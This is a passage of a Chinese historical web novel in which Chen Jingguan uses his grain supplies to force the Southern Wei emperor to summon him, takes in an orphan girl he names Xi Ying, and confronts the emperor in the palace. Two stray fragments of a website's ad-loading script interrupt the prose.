“他不救盛州,那我就彻底切断他的后路,让他到盛州请我。广梁虽然遭了水灾,但是储备的官粮在廊州,损毁不多,我到现在为止还在用私粮,就是等阙州吃不起饭,来求我。” 陈京观眼里闪过凌厉的光,不知为何,说到这里时他还有一丝兴奋。 站在阙州城下时,他闻到了阳光里的血腥气,他有些庆幸那些血没有沾在自己的刀上。可是当年少的守城将士出现时,他胃里的不适感再次上涌。 覆巢之下,焉有完卵。 “师父,有一事我想问您,八年了,您其实一直知道我在做什么。可您什么也没问,您就不怕我若失败了,您引火烧身?” 陈京观自嘲道,将桌上的信重新折好放进了怀里,他看着眼前的人,八年前他也是这样站在自己面前,挡住了阳光,让他看不清他脸上的表情。 “我当时路过人群,人牙子手里有七八个孩子,我本来是没想着买伙计的,可是我瞥了你一眼,你就低着头在墙角坐着,别人还知道上来卖乖,就你像块榆木。” 宁渡笑了,陈京观也陪着他笑。 “但是景豫啊,”宁渡顿了一下,喊出了连陈京观都有些生疏的名字,“你和那日我看到的陈频一样。” 闻言,陈京观愣住了,脸上的笑还僵着,眼睛却湿了。 “我听说了你父亲叛国的消息,也听说了你父亲被降职护送六皇子入西芥,更是目睹了你父亲的死。明眼人看得出,他是政治博弈的失败者罢了。但若你父亲真想走,大可以挟持六皇子一走了之,可是他还是去了,然后赔上了一条命,我佩服他。” 宁渡的娓娓道来,每一个字节,都在陈京观心上打着拍子, “陈家灭门的消息我知道,但觉得有一点可能也好,若能救了他的儿子,就权当我惜英雄。”说到这,宁脸上的笑意更浓,“但我还没出价呢,你就发疯了似的朝京观跑,那时我就是知道,你一定是陈频的儿子。” 陈京观用手抹了两下脸,也笑了起来。 “那时候若没有您拦我,我应该也死在西芥兵的刀下了。他们都说我父亲弄丢了六皇子,然后畏罪潜逃,”陈京观顿了一下,深吸一口气继续说,“其实我知道父亲凶多吉少,可我不信他是畏罪潜逃,我逃出阙州就一直往雍州跑,想着如果可以,能找到父亲的尸骨也好,但一路上大家都说没见过形似出使的人马,而到了雍州,却听到他们说遏佐斩首了一队南魏人。那时候我就知道,那里有我父亲。” 陈京观回想起那时的自己,许是少年无畏,竟然真的一个人跑了几百公里。可是他不跑也没处去了,陈府灭门,连孟叔叔家也被连累,他只能跑,跑的离阙州越远越好。 “所以啊,你选择了跑来雍州,我选择了买下你,都是因为你父亲。现如今,你要重新回到那个吃人的地方,也是为了你父亲。” 宁渡刚说完,商行大门口就嚷起来了。陈京观和宁渡对视了一眼,起身推开门,看到了许久不见的内侍的打扮。 “你就是陈京观?皇上让你去一趟。” 陈京观笑了,眉梢轻挑,正了正衣冠,却没有接过内侍手里的密函。 “去一趟?去哪啊?” 内侍知道他是在戏弄自己,但是如今来到了他的地盘,也只好闷声咽下这口气。 “皇上,请您入阙州。” 4. 重回阙州(一) 陈京观看着眼前的内侍,脸上的表情带着些许戏谑。 周围围观的百姓本来还不明所以,看到他这个样子,原就对内侍没什么好感,如今更是一窝蜂涌了上来。 “陈少将军,南魏皇上,烦请您去一趟阙州,有要事相商。” 不愧是常年服侍在皇帝身边伺候的人,内侍看到陈京观这幅表情,立刻就换了个语气和姿态,俯着身子恭恭敬敬给陈京观递上了皇帝的密函。随从的几个小内侍也都收了收刚来时的嚣张气焰,一个个垂眉搭眼的眼跟在师父后面。 “有劳公公了。不过我广梁的粮还没发完,要先紧着百姓的肚子。想必皇上这么久才来请,该是那崇明殿里还有余粮。“ 陈京观打趣着内侍,作势想要转身回屋,那内侍眼睛一转,一下就跪在了门前。 “陈少将军哪儿的话,求求您心疼心疼奴才,奴才的锅里连您门口的米汤都吃不上了。” 内侍一边跪着一边哭诉,原本臃肿的身材瘫在地上,两只手装模作样地抹着泪。 他这副样子陈京观自然明白是装的,可他就是看不惯这群狗仗人势的东西,他们往日作践百姓,如今他就要让他们也尝尝其中滋味。 不过内侍的话也不全是假的,陈京观对阙州粮仓的情况是知道的。 他给西芥送的是今年第一批赶出来黄粱米,价格比往年都高。现在又过了半年,原本应该进贡新米的日子早就过去了,现在阙州城粮价翻了三倍不止,更有甚的连其他菜价都跟着水涨船高。 陈京观也没有再理会内侍的表演,示意平芜去接了他手里的密函。小孩毕竟是小孩,刚拿着那密函竟想去炫耀,被陈京观一把揪了回来,老老实实站在师父旁边。 “公公起来吧,不嫌弃的话,也快到正午了,留下吃饭?就是不知粗茶淡饭,您吃不吃的惯?” 闻言,内侍低着头连忙在地上磕了几下,嘴里念叨着“吃得惯吃得惯”,几个小徒弟围作一团拉那内侍起来,然后几人毕恭毕敬朝陈京观行礼。 “师兄,真留他们吃饭?他们一个个肥头大耳的,还能缺我们一碗饭?” 平芜看着远走的几个内侍,小脸上全是不满,但是碍于在师父面前,不好做什么动作,不然一定追上去啐两口。 “他们留下了,证明想要暗地里查查我们是不是有那么多粮,我甚至没说话呢,那几个就往粮仓处去了。” 陈京观的目光一直盯着那几个远行的背影,脸上的表情看不出他心里在想什么。等着那些人走远了,他从平芜手里拿回了密函,翻开后又看到了熟悉的名字。 “萧霖,我的好姨夫,此番回去,你应该也不认识我了。哦对,你认识的是陈景豫,从来不会是什么陈京观。” 陈京观在嘴里嘀咕,声音压得很低却还是被宁渡察觉到了。看他情绪不对,宁渡先是遣走了几个想上来道谢的百姓,又安排平芜去帮他母亲,随后关上门,让陈京观一个人在正堂待着。 如今正堂里只有他一个人了,忙了一个月的陈京观突然有了闲下来的时间,可他什么都没了兴趣。 内侍的“请您入阙州”,没有带给他意料中的欣喜。那个地名只像是一块小石头砸在了他心里,没有任何水花,就沉到了谷底。 他自然知道能走到如今,运气其实帮了他许多忙。 此去阙州,要比这些时日遇到的险阻更多。相比于在高堂上已逾二十载的萧霖,他的权谋,都不过是他所能做的所有,对方的手段他见识过,就连对方小时候对自己的好,他都没忘。 “你说,我们怎么就走到这一步了。” 陈京观叹了一口气,本想着趴在桌子上眯一会儿,可听到正堂的门“吱呀”一声,门缝里隐约冒出个脑袋。 “谁?” 门口的身影没有回答,但是陈京观看清了来人的面貌。 女孩换了干净的衣服,头上也让阿婆扎了发髻,现在看上去,倒是有了少女的娉婷之姿。 “吃完饭再来,你不饿吗?” 陈京观说着,把密函收了起来,重新换上了淡淡的笑意,看着眼前的人有些局促的整理衣服,嘴角扯出了更明显的弧度。 “你会说话,我听到那句谢谢了。” 女孩咬了咬嘴,从背在后面的手里拿出一个包子,应该是厨房新做的,说是为了庆祝水患结束。 “你吃。” 女孩的声音很小,怯怯地将包子递给陈京观。 “所以,你没有名字?” 女孩拿着包子的手顿了一下,一瞬间眼睛里便蓄满了泪。陈京观接过了她手里的包子咬了一口。 现在雍州别的吃食都短缺,可是时令的苜蓿却长得刚好,所以包子里的馅很多。就是这苜蓿应当用油过了一遍,现在这样做,不免有些植物的苦涩。 陈京观一边吃着包子,一边从女孩身侧望向门外。那几个内侍喝了碗米汤,现在鬼鬼祟祟的想要绕到商行后院,但是被守在门口的平海挡住了。 “你父母我都葬下了,但我不知道你家在哪,便只能埋在盛州的后山。” 女孩没有回答陈京观,只是向后退了一步跪在他面前。 “你别动不动就跪,人立于世,膝盖不能软。” 陈京观嘴里还咬着包子,便想要去扶女孩,脱口而出的一句话,让他手上的动作停滞了半分。 那是父亲说过的。 “少将军,让我跟着您行吗?” 女孩没起来,就执拗地跪在地上。 “我知道我们人贱命贱,小时候母亲求人,都是在地上跪着,有用。而且刚刚那个太监跪了,少将军就接了他的信。” 一时间,陈京观竟有些语塞,他知道女孩说的就是现实。 对于底层的人来说,下跪,是他们屈服的表现。虽说下跪根本不能给上位者带来任何实质性的好处,可是他们需要这样的崇拜,需要靠别人的臣服来彰显自己的地位。 女孩过去的十几年都是这样过的。当人被环境吞噬的时候,他是意识不到自己所处的环境的。 “可是要跟着我的人,骨头要硬。你因为平芜的玩笑,便不愿收下他的衣服,证明你有脾气,这是好的。你说你母亲靠下跪换同情,这是因为你母亲只能如此来换取你们的生机,可她终究没换来一条命。至于那个太监,有时候让一个人下跪,只是为了作践他。” 陈京观没有明说,可女孩体会到了他最后那句话的意思。 提到母亲,女孩的眼泪开始止不住的流。可她听了陈京观的话,从地上站了起来,用手抹了抹脸上的泪,昂着自己的头。 “对嘛,人活着就为一口气,跪天跪地跪父母。如今的你,只跪你自己。” 陈京观见女孩听了自己的话,便朝她笑了笑,招手示意女孩也坐过来。 “我也大不过你几岁,你要跟着我,你能做什么?”陈京观拿出帕子擦了擦自己的手,看着外面熙熙攘攘的人群,“如今我要去阙州,那地方不比雍州,里面的每个人,都想让你刚直起来的腰弯下去。我本来是打算让你跟着师父,在商行学记账,以后好歹能有碗饭吃。” “我会烧饭,还可以洗衣服,我能照顾你。” 女孩的声音不大,但是没有了最初的胆怯。只是陈京观听完,更觉得好笑。 “我又不是七老八十,为何要人照顾?而且你还小,你该有自己的人生。” 女孩又没了声音,陈京观也不再说她,刚要起身出门,门外却吵嚷了起来。 “好啊你,敢偷爷爷我的东西。” 陈京观耳朵尖,还没看到人,就听出来是那几个内侍。他示意女孩等等,自己出了正堂。 商行的前院不大,平时主要是供马队休息,如今本来就安置了不少百姓,现在又有人闹事,更显得拥挤。 “怎么了?” 眼看着陈京观来了,内侍一下子又跪到了他面前。 “少将军,您的人手脚不干净,偷了奴才的蓝玉坠子。” 陈京观看着眼前的人,突然又想到了刚才和女孩说的话,一时间竟然笑出了声。 而那内侍见眼前的人没理会自己反而自顾自地笑,陡生了一脊背的虚汗,有些心虚地脑袋埋了下去。 那个被说是偷窃的,是个十一二岁的小男孩,他母亲紧紧抱着他,生怕内侍气急败坏伤了她的孩子。 陈京观没有再理会跪着的内侍,而是半蹲着和男孩平齐,望着他眼睛。 “你拿了吗?” 男孩是陈京观亲手从淤泥里扒出来的,此刻看到陈京观看着自己,“哇”的一声就开始哭。 “我……我没有……是他们说要用坠子换包子……他们说他们饿了……” 男孩的话断断续续的,伴着哭腔,他伸手想要把坠子扔到地上,却被陈京观一把接住。 跪在地上的内侍还想要辩驳,突然被冲出来的人影按住肩膀。那人速度很快,力度把握的也恰到好处,就连用力的位置,都选的极为精妙,再偏一寸,便可卸了内侍的肩膀。 陈京观抬眼一看, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正是刚刚还坐在正堂的女孩。她脸上还是那副漠然的表情,但手指的关节处因为用力微微泛红。 “知道了,和你娘回去吧,”陈京观没有制止女孩动作,而是直起身,看着围过来的百姓,“大家也都散了吧。明日我就要动身去阙州了,不过大家不用担心,我会留平远军继续帮大家。广梁,从今往后都只是大家的广梁。” 语毕,百姓们齐刷刷地朝着陈京观鞠躬,那刚刚被诬陷偷窃的小孩怯生生地朝陈京观跑过来。 “哥哥,吃糖。” 说完,那小团子张开手心,里面躺着两颗稍微有些融化的酥糖,许是母亲怕他不肯吃药买的,他都留到了今日,将自己认为最好的给了陈京观。 “哥哥拿一个,另一个奖励小宝。以后啊,小宝还是要帮助饿肚子的人,只是,更要先保护自己和母亲,知道了吗?” 陈京观撕开糖纸,把糖喂到嘴里,然后擦了擦手揉了揉小孩的脑袋,那小孩便开心地母亲跑去。他抬头,瞧见小孩身后的女子微微朝自己点了点头,满脸感激。 等着人群散了,陈京观嚼着嘴里的糖漫不经心地走到已经被钳制住的内侍身边,勾下腰贴在他耳朵边,语气充满轻佻。 “公公,不能刚吃了饭就不认人啊,进来就去粮仓,刚才又闯后院,现在甚至去诬陷一个孩童,你觉得你在阙州的那一套,放在我广梁,还受用吗?” 内侍止住了声响,被抓着的肩膀已经因为疼痛慢慢勾了起来,脸上的表情更是精彩。 “我手里的底牌,能让你轻而易举窥到?你放心,他把我请进去了,我自会信守承诺,不过要谈,而条件,我说了算。” 陈京观看着额头上冒汗的内侍,嘲讽地冷笑着。 “话说,若真是他拿了你的坠子,你觉得,我会替你讨回来?若所有的冤都能被王法伸张,那我费这么大功夫,是在给谁看?你阙州都没有王法,更何况我一个草莽。” 随后陈京观直起了腰,把坠子扔给了内侍,又用眼神示意女孩可以松手了。他刚准备向前迈步,又突然止住身。 “对了,公公的膝盖未免太软了些,第一次跪着我看你可怜,第二次再跪,就有些可笑了。拿着你的东西滚回阙州。告诉他,我一个月内到。” 瘫在地上的内侍不敢再多言语,由着几个徒弟扶上忙跑向马车,临走时陈京观听他嘀咕了一句:“不是说是活菩萨吗,这分明是活阎王!” 陈京观不为所动,倒是内侍的话惹笑了站在原地的女孩,他转过头看着她,然后又换上了出门时的笑。 “身手不错,进来吧。” 女孩恢复了如常的表情,微微点头,和陈京观一前一后回到了正堂。 “你所能做的,远不止洗衣做饭那么简单,”陈京观看了女孩一眼,“你家原来是做什么的?” “父亲之前是雍州驻兵教头,母亲为别人做些针线活。” 陈京观好像了然了些,迈步朝书柜走去。 “你父亲因你是女孩,注定承不了家业,便给你取了个贱名,所以你不愿提及。” “嗯。” 女孩的声音很轻,陈京观闻言侧过头看了她一眼,继续一边说一边自顾自地好像在继续找些什么。 “你肩上有旧伤,刚我扶你的时候你明显有些吃痛,但是硬忍着。刚才的身手又说明你会些功夫,我猜你是因为不服气,便每日偷偷跟着父亲去军营训练。” 陈京观从书架上抽出一本落了灰的诗集,抬头看了眼女孩的表情,然后翻书找自己想要的内容。 “这有什么不能说的,你能有这骨气,我佩服你。” 瞧着自己一点点被看透,女孩也只是站在原地什么也不说,那双手缓缓背到身后,慢慢地绞在了一起。 “叫你席英怎么样?谁说女子不能做英雄。” 陈京观此话一出,女孩虽仍低着头,可脑袋却不自觉地点了点。 “那好小席英,”陈京观合着书走到席英面前,“你要跟着我也可以,之后我进了阙州会要下雍州做军营,你跟着教头们练,哪一日能与我过两招了,你就可以跟在我身边。” 女孩没有反驳,只是朝着陈京观深深举了一躬,临走时嘴里又念了一遍“席英”。 而陈京观看着女孩走远,又忍不住回头望了望那本诗集。他小时候启蒙早,可是贪玩,背下的诗多忘完了,就这首记得最清。 “‘广庭清晓席群英’,看来我也没把东西都忘了,”陈京观嘴里絮叨着,“你和他,都一样固执。” 5. 重回阙州(二) 上一次去阙州,是一千人拉着装粮的马车,一路散粮,一路殓尸。而今这一次,甚至是没穿盔甲的十二人,一人一刀一马,就立在昌用商行门口。 “就这么去?” 宁渡看了看陈京观的队伍,将为他收拾好的包袱递给他。 “此番去,时间不会太长,他要是真的要粮,会让我回来送粮入都城,若是鸿门宴,我还有其他打算。” 陈京观宽慰着师父,转头就看到平芜眼泪汪汪和席英站在远处,宁渡叫他过来,但是那小子还是不愿意。 “罢了,他还小,肯定舍不得。这次入阙州,我旨在要一个身份,甚至这几人也不会随我进城,我只带了平海一个人去崇明殿。” 陈京观身后的平海和宁渡示意,宁渡微微点头。 “平海和你年纪相仿,也比一般人要沉稳得多,你带他去我放心”,宁渡又看向平海,“你娘我已经安排了就在商行做活,免得你和平芜还要费心,你这一路去,保护好他。” 平海的话比平芜少很多,但是练得颇为结实,如今多日的风吹日晒让他看起来消瘦了不少,他听着宁渡的话,骑在马上冲宁渡点头。 平家两兄弟是宁渡旧友平呈宙的儿子。当时陈频来招兵,平呈宙跟着去了西芥,再回来的时候打了胜仗封了总旗,可入了阙州却被疑叛国。 宁渡最后一次见他,他跪在陈频旁边。 那时候平海已经记事,他娘哭着要去殓他父亲的尸首,他便跪在门口拦着,本来话就不多的人,自那以后更是少言寡语。 而那时的平芜不过五六岁,只是知道爹回不来了,每天陪着母亲哭,后来也就渐渐麻木了,只是关于平呈宙的死因,大家都对他三缄其口。 “你保护好自己就好。”陈京观微微侧身对平海说,“人各有命,这是我的选择我承担一切后果,我带着你,是因为觉着你也想去寻一个答案吧。” 平海还是沉默着,低着头看腰间那把父亲留给自己的匕首。 “董将军何在?” 临行时,陈京观环视了一圈,却没找到董辉的身影。 “董将军清早收到了陆小爷的信赶回平州了,少将军有什么吩咐?” 董辉的副将跑到陈京观面前,而此刻的陈京观不知道想到了什么有些愣神。半晌,对着董辉的副将说:“让董将军守好家,练好兵,一切行动等我的消息。” 副将意识到了什么,向陈京观行礼后退回了大部队中。 “出发!” 陈京观一声号令,随行的十二人开始向前行动。 从雍州到阙州大概八百公里,其实若快些走,也用不了一个月。可快到年关了,一路上都是灾民从雍州买粮食回去过年的,路两旁时不时有刚回到家的百姓远远给陈京观鞠躬,陈京观每一个都弯腰回礼。 后来,陈京观索性逐渐放慢速度,从每日三十里,到如今每日十几里便停下休息,他们越往阙州走,年味就越淡,景象就越冷清。 “他不是用官令限制入城吗?”陈京观压着嘴角的笑意,“他阙州城第一次过这么冷清的年吧。” 听了陈京观的话,后面的将士都开始大笑,就连平时不苟言笑的平海也低着头笑了。 “各位下马休息一下,准备准备先吃饭,大概还有八百米,我们慢慢去。” 说完,陈京观预备着下马生火,可还没站稳,就看到自己刚走过的路有一人骑马飞驰而来。 “董将军?不是让你守在雍州吗?” 马上的人气还没有喘匀,忙从怀里翻出一封信。 “敬安山快报,有姓穆的兄弟三人占了廊州出城的路,同时不停骚扰廊州几个稍具规模的商贩,陆小爷得了消息就让我给您送来,廊州的粮,一时半会送不出来。” 董辉一边说一边往嘴里灌着平海递来的水。 “也亏得您走得慢,我是紧赶慢赶就怕您已经入了阙州。你要是进去了我再送消息就难了。” 陈京观拍了拍董辉的肩膀,示意旁边的人先带董辉去休息,随后打开信。 那信上大概说明了穆氏三兄弟的起势经过,讲是说这三人是东亭大乱时便跑到了廊州,结果廊州水患就逼着他们上了敬安山。他们平日不劫往来行人,专找些凌州和廊州的大商贩,打劫送货的车,但只要放货,一律不杀。 “合着还是一帮义匪。” 陈京观将信递给身旁的平海,平海瞧了一眼,知道了个七七八八。过去的时日陈京观忙着平远军,商行新接的几单生意都是他去做的,穆氏兄弟的事他一路上也有耳闻。 “这三个人在过去半年里劫了好几次雍州过去的马队,倒是一直没劫过昌用的货。但是我们到时候若要从廊州直接走,便用不了昌用的名号。” 陈京观闻言没说什么,将手里的饼撕了一半给平海,然后一边吃着饼,一边拿树枝在地上比比画画。 “董将军,你来一下,”陈京观招呼着还在一旁吃东西董辉,“廊州的粮送不出来的事密不外传,您照常回雍州练兵,其余的等我先会会南魏皇帝再说。” 董辉点点头,嘴上还叼着半块饼,便准备上马回去。 “对了,平芜和席英这两个小孩您多照看点。” 董辉向陈京观做了个了然的手势。等董辉一走,陈京观就命令随行的人在离阙州还有三百米的地方扎了寨子,同时让他们做好时刻回雍州的准备。 时隔半年重新踏上这块土地,那里的血迹早已经被洗刷干净,阙州城门恢复了水患前开门迎客的姿态,但是街道冷清,偶尔有一两个马车,也是只出不进。 陈京观和平海走到城门口,一抬眼就看到了那个熟悉的小守卫。 “姓名,官令。“ 在城门口的兵士拦住了陈京观,却让赶来的小守卫用长刀的刀柄敲了脑袋。 “少将军。” 小守卫声音干脆,听了他的话,旁边的兵士也都悻悻地让了道。陈京观看着眼前的人,半年没见,好像还升了官,脸上多了一道浅浅的疤,眼神倒更坚定了。 “认识我了?还要官令吗?” 小守卫低着头,一副恭迎的模样,但见陈京观没动,便小心翼翼的抬眼瞥他。 “你叫什么名字?” “报告少将军,在下阙州巡防营哨长夏衍。” 夏衍报出自己的名字时头抬得很高,这一刻倒是让陈京观想到了初次看见他的时候。 “嗯,记住了。麻烦你带我去崇明殿吧。” 听了陈京观的话,夏衍有些迟疑,但再看看陈京观身后空无一人,便作出了“请”的姿势。 “你认我是少将军?我以为你们只会觉得我是乱臣贼子。” 夏衍没有搭话,和陈京观错着半个身位,虽然在前面走着,但手里的刀始终没有松开。 “放心,就我们两个人,我要想打阙州,那日就领兵来了,恐怕就你们这些四处募来的小孩,撑不了三日我就住进崇明殿了。” 夏衍握刀的手向下滑了滑,同时放慢步子和陈京观走在一起。 “那日我见您救她,就觉得您不一般,之后广梁一带便传出来‘天降奇兵平远军,上天入地少将军’的童谣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我想着您便是少将军了。”夏衍稍微放松了些,谈起童谣,嘴上竟还勾着笑,“您那日说您要被请进阙州,我后来看到内侍出去的马车,便知道是去请您的。” 这小半年陈京观听了很多夸他的话,倒是这个童谣第一次听。 他救的小孩不少,但大多都是救出来就由父母看顾着了。他们编的这些,也没再听他们亲口唱。 “夏衍,你为何来阙州当兵?” 面对突如其来的询问,夏衍条件反射似的立正站起军姿。陈京观无奈的笑着拍了拍他的胳膊,示意他边走边说。 “我家原本是景州的农户,当年东亭灭国,遥州就归了北梁。但是遥州不太平,三番五次就有复国军出来,扰得我们也没法安稳种地。我本想着阙州是都城,机会多,想来闯闯,但是阙州有官令限制,一般人根本进不来。我便四处打听,后来跟着当时去景州征兵人入了阙州巡防营,换了我一家进阙州的机会。” 夏衍说话的时候也只顾着一个劲往前走,他不敢看陈京观,脚下的步子也越走越快。 “你慢些,这么想见皇上?” 夏衍本还没反应过来,瞧见自己已经甩了陈京观一段路了,便红着脸摇摇头,随之放慢了步子,但是又向陈京观的方向瞥了瞥。 “想说什么就说。” 陈京观察觉出了夏衍的欲言又止,但没看他,继续盯着不远处的崇明殿。 “阙州几大商行的黄粱米一个月前就没了,景州的盐商甚至越过阙州去广梁做买卖。现在还有十几日就过年了,可是您瞧,街上没几个开着的铺子。大家手里的银子几个月前就换了粮,现在是又没钱又没粮。传闻说您是来送粮的,可是我也没见到人……” 夏衍的声音越来越小,最后意识到自己说了不该说的,一下就跪在了地上。 “少将军恕罪!我没有说您的意思,我不是……” “我知道,起来吧。”陈京观扶起了夏衍,小声嘀咕“你们怎么都这么爱跪。” “我家里妹妹还小,我属实是有些急了,还请少将军见谅。” 夏衍说错话后更局促了,倒是对陈京观的防备少了几分。 “我是来送粮的,可是你阙州城也淹死了广梁三万百姓。这笔帐,我是不是该找他算一算?” 夏衍没有说话,他脑子里又出现了被自己放箭射死的那几个人的背影。 “我自然不会将这笔帐记在你们头上,但那一条条人命不能死得不明不白。” 说话间,三人走到了崇明殿外。 阙州的崇明殿,虽说南魏是日渐没落,可它起初依旧是四国中最富饶的地方,又以诗书风流闻名,那宝殿所耗钱财不可胜数,红砖绿瓦,璀璨琉璃,就连窗棂上的油纸都是特殊丝麻制的。 而虽说是殿,可实际是宫。当初只因南魏开国皇帝不喜宫字,觉得这个字压抑,便将其宫殿命为崇明殿。 如今陈京观只是站在外门,便已经窥到了三分华美,可想殿内,是何等奢靡。 “少将军,我只能将您送到这,巡防营没有传召是不得进入殿内的。” 陈京观点点头,夏衍向他行礼告退。等夏衍走后,陈京观站在这门前迟迟没有进去。 “平海,你说这里三层外三层,左一道官令右一道禁令,他到底有多害怕啊。” 平海知道这是陈京观问他自己的话,便也没有做声。 “人若没做亏心事,怎么会怕成这样?” 陈京观拦住要进去的内侍,指了指正殿的位置。 “告诉他,我陈京观来了。” 6. 重回阙州(三) 再进入崇明正殿,有些在记忆深处的画面突然照应上了眼前的情状。 陈京观记得自己来过大殿,是和萧祺栩一起,来看姨母。 那时候自己大概六岁,牵着堪堪能走六皇子,父亲和萧霖在书房谈事,他便领着萧祺栩坐在门槛上看地上的蚂蚁。 那时候他觉得这小东西如此脆弱,一不留神就死在他人脚下。 可后来,他觉得那蚂蚁是南魏最厉害的。这崇明大殿,只有它可以来去自由,其他来这的人,就连萧霖,都多少留下了些什么。 那之后,他也没有再见过那匾额上的“承乾嗣坤”四个字了。姨母死了,就连父亲,都很少再进那书房。 “少将军,皇上和蒋丞相在内厅议事,您恐怕要去偏殿稍等片刻。” 陈京观不怒反笑,看着来给自己传话的内侍,他的服饰是要比那日来的更华贵些,连手里的拂尘都镶了翠玉。 “公公,有件事不知能否问你一句?” 陈京观盯着内侍的眼睛,那内侍确实更懂眼色,立刻伏下身,将身子往陈京观处靠了靠。 “在你们阙州人眼里,是如何看待我这雍州乡野长出来的地痞流氓的?” 内侍没想到他会问自己这个,一时间也不知要如何回答,只能装出为难的样子保持着谦卑的姿势。 “那我换一个问题,你们骨子里的傲慢,究竟源于这上面那位,还是旁边那位?” 陈京观说着,眼睛就朝侧面的长公主居所望。那内侍更不敢回答这掉脑袋的话了,便只能打趣着试图岔开话题。 其实那内侍当差这么久,也是头一次见提着佩刀上殿的。素日就是功成的大将也要着朝服来见萧霖,迄今为止只有陈京观一个穿了一身马队的衣服就来了堂前。 “宣陈京观觐见!” 这时,正殿里传见的声音如及时雨一般,那内侍长出一口气,赔着笑脸喜盈盈地望着陈京观,而后者只看了他一眼,便撩起袍子大步流星向前走。 如今行制的崇明殿分四部,皇上日常办公在正殿和内厅,侧面有偏殿两处,左边供来人休息,右边供事务司处理日常奏章和案卷,后面有内室一座,是皇帝平日休息的地方,而最后一处,是宣威坊。 那是南魏开国皇帝创设的,专门用于惩处犯了罪的官员。 因为其设在这崇明殿里,便既能起着警示的作用,又方便将凌迟的大臣直接由后门送出去处理了。所以每逢皇帝单独召见,朝臣总是悬着一颗心,生怕哪句话说错,便出不去这富丽堂皇的宫殿。 内侍害怕陈京观再刁难自己,步子一刻不停地引着他往长阶上走,而与陈京观前后脚擦身而过的,就是南魏当朝宰相蒋铎。 此人,是现在南魏朝局里的风向标,他站在那边,那边就能站到最后,究其根本,或许还是因为他背后是长公主崇宁。 但二人的关系究竟如何,这整个南魏也只有他二人自己知道。明面上,蒋铎是崇宁引荐入朝的,也算知遇之恩,可背地里蒋铎充当着什么角色,始终是崇明殿一桩秘闻。 此刻,蒋铎前脚迈出崇明殿,宣威坊里便抬出去了一个。 蒋铎从陈京观身旁过去的时候,既未出声也未与陈京观有任何接触,仿佛眼前的人不存在一般。而等蒋铎走近了,内侍便迎上去谄媚地问候,换来的也只有趾高气昂地戏谑。 陈京观对此不以为意。其实在来之前,他以为阙州的人都该如此对自己的,像夏衍一般能称自己一句少将军的,才应是稀奇。 崇明内殿平海的身份不能进去,陈京观便示意他留意些门口的情况。那内侍要迎平海去偏殿,他也没做声,就立在龙纹柱旁看他脑子里想象过的画面。 “进来吧。” 崇明殿的门应声关上,整座大殿只剩下陈京观一人站在内厅门口,但他隔着绣帘迟迟未动身。 “怎么,当真要我将你请进来坐我的位子?” 里面的人也没动身,绣帘前还立着一块屏风,透过两层细纱,陈京观已经基本看不清坐在椅子上的人了。 “您说笑了,若要坐,半年前我就自己进来了。您年岁高,不劳您大驾。” 见陈京观就立在门前出言不逊,萧霖也没恼,从椅子上起身向门口走来,他走得越近,陈京观脸上的表情也就淡然。 其实要说萧霖的模样,陈京观已经记不起来了。 那日他没等到萧霖从书房出来,而是由内侍带到了康乐坊,也就是他姨母先皇后温浅的宫殿里。后来要说见,或许就只是临走时在马车上与刚到康乐坊的萧霖擦肩。 同样,于萧霖而言,陈频独子陈景豫,已经死在了自己下令放的那场大火里。 “陈少将军,久闻大名,你那日登临阙州却不入崇明,今日进了崇明又不入内室,怎么,看不上这块地方?若是如此,你为何还要费尽心思让我请你进来,你这一出所谓何意啊?” 内厅里的声音听不出情绪,又或者他本就没有带任何情绪。他说完,绕过屏风,又掀起最后这层绣帘。 眼前的人比陈京观想象中要老上许多,想年纪,应当和父亲差不离,可看上去,却近似花甲。 “皇上以为呢?” 萧霖听了陈京观的话,轻笑了两声,搬过门口的椅子坐在了陈京观面前。 “人老了,站不住,还请少将军见谅。”见陈京观不为所动,萧霖继续说:“我南魏是战时征兵制,而自陈频反击西芥后,常备兵力只有六万,还多集中在崇州、雍州和廊州三个边境州县,如今你一举拿下广梁,还能在雍州招兵一万人,这阙州,不是唾手可得?” 陈京观没想到萧霖会如此轻而易举的讲出父亲的名字。他眼神闪过一丝恍惚,但很快恢复如常,微微低头看着眼前的人。 “那皇上认为,雍、廊二州,我何故拿的如此轻而易举?” 萧霖当然听出了陈京观嘲讽的意思,但是他没有正面回应陈京观的话,而是抬头对上了陈京观的眼睛。 “天下早已不是萧家的天下,这南魏,萧家又能坐多久?可换了你,就能坐稳了吗?” 陈京观没有回答他,萧霖便继续说。 “北梁吞并东亭十年了,谁能保南魏不是下一个东亭,接手这么一个烂摊子,与你没有好处,倒不如坐拥广梁当个山大王,如果可以,还能如今日般要挟我。” 萧霖说到最后一句,轻笑一声。 不愧是当初能在先皇帝七个儿子里走到最后的。陈京观知道自己这个姨夫不是尽如外界所传的依仗崇宁长公主才登上帝位。只是没想到,他对自己的处境,倒也是看得透彻。 “南魏于你,究竟是什么?”陈京观也没有怯,迎着萧霖的目光,“是炫耀自己在兄弟们中脱颖而出?还是炫耀因为自己的怀柔而营造出了一片虚假繁荣?抑或者,说白了是你少时被踩的太厉害,于是好不容易爬上来了,便贪图着高处的空气。” 陈京观的话就是故意来激怒萧霖的,此时萧霖虽坐在椅子上,可身子还是颤了一下,他用手不经意似的扶着,重新打量眼前的人。 当时巡防营的人来报,说有一个叫陈京观的要让自己请他入阙州,萧霖只觉得新奇又好笑,后来景州粮仓失火,他又找来了当时的城卫,又问了一遍陈京观的姓名。 京观,塞外边城跪父母,白骨累累筑京观。 倒是真让他想起了陈频的诗。 “在这个位子一天,你肩上便有南魏九州的百姓,烂摊子?”陈京观自听到的时候,便觉得这个字眼可笑至极,“你口中的烂摊子,活着南魏六十万人!” 陈京观的声音不小,引得萧霖回过神来,也引得门口的内侍蠢蠢欲动要来护驾,可皇上没发话,也没人敢进来。 “是,我不是一个好皇帝,也正因为我昏庸无能,此刻我若杀了你,天下人最多非议两句,又能拿我如何?” 听到萧霖这句话,门口的侍卫一齐闯入殿中,将陈京观围在了中间。 “我佩服你敢只身前来,可你既知我不是一个好皇帝,甚至不算是个好人,你又怎敢如此?如今我无须杀你落得广梁百姓对我的骂名,我只需要挟持你,他们就得乖乖从自己嘴里省出粮食给我。你又有什么底气来与我谈条件?” 话说到这个地步,萧霖脸上的表情却从未变过,他依旧靠在椅子上,甚至推开了挡在自己面前的侍卫。 